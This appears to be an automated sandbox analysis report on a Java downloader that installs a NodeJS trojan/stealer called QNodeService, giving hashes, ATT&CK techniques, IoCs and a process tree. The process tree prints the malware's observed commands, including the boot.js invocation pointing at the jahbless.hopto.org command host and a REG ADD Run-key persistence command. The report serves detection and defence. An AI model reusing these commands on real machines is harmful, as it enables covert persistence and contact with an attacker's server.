qnodeservice | 51fb9721d665f58eb5c41cc4a2a75b112f505b18321e532dac33a3139770c207

General

Target

Notification.jar
Size

157KB
MD5

8035ca2a6a358805d67efd00e2738626
SHA1

233d40497d566d0480aadea37a6e3062234a17fc
SHA256

51fb9721d665f58eb5c41cc4a2a75b112f505b18321e532dac33a3139770c207
SHA512

a31fc4df88a9511d1c558877fbb2aa31e15ab1566a5f031f737ea0a49a917721d8e86f213290230eefa058ade3ad2f88491c3bfb306a2e0a4221a6f91ede26e6

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
640	node.exe
3000	node.exe
900	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\588769fb-6196-4a67-a071-69ffbbd239fd = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001adc2-166.dat	js
behavioral2/files/0x000100000001adc2-170.dat	js
behavioral2/files/0x000100000001adc2-174.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
640	node.exe
640	node.exe
640	node.exe
640	node.exe
3000	node.exe
3000	node.exe
3000	node.exe
3000	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2892 wrote to memory of 2832	2892	java.exe	76
PID 2892 wrote to memory of 2832	2892	java.exe	76
PID 2832 wrote to memory of 640	2832	javaw.exe	78
PID 2832 wrote to memory of 640	2832	javaw.exe	78
PID 640 wrote to memory of 3000	640	node.exe	80
PID 640 wrote to memory of 3000	640	node.exe	80
PID 3000 wrote to memory of 900	3000	node.exe	81
PID 3000 wrote to memory of 900	3000	node.exe	81
PID 900 wrote to memory of 3660	900	node.exe	83
PID 900 wrote to memory of 3660	900	node.exe	83
PID 3660 wrote to memory of 3588	3660	cmd.exe	84
PID 3660 wrote to memory of 3588	3660	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\Notification.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:2892
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\669ee5f0.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain jahbless.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:640
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_mMfI8r\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:3000
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_mMfI8r\boot.js --hub-domain jahbless.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:900
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "588769fb-6196-4a67-a071-69ffbbd239fd" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3660
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "588769fb-6196-4a67-a071-69ffbbd239fd" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3588

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/640-168-0x000001F2B8080000-0x000001F2B8081000-memory.dmp

Filesize
4KB

Download
memory/900-175-0x000002BA9B340000-0x000002BA9B341000-memory.dmp

Filesize
4KB

Download
memory/3000-171-0x000000E0D0A00000-0x000000E0D0A01000-memory.dmp

Filesize
4KB

Download

Resubmissions

Analysis

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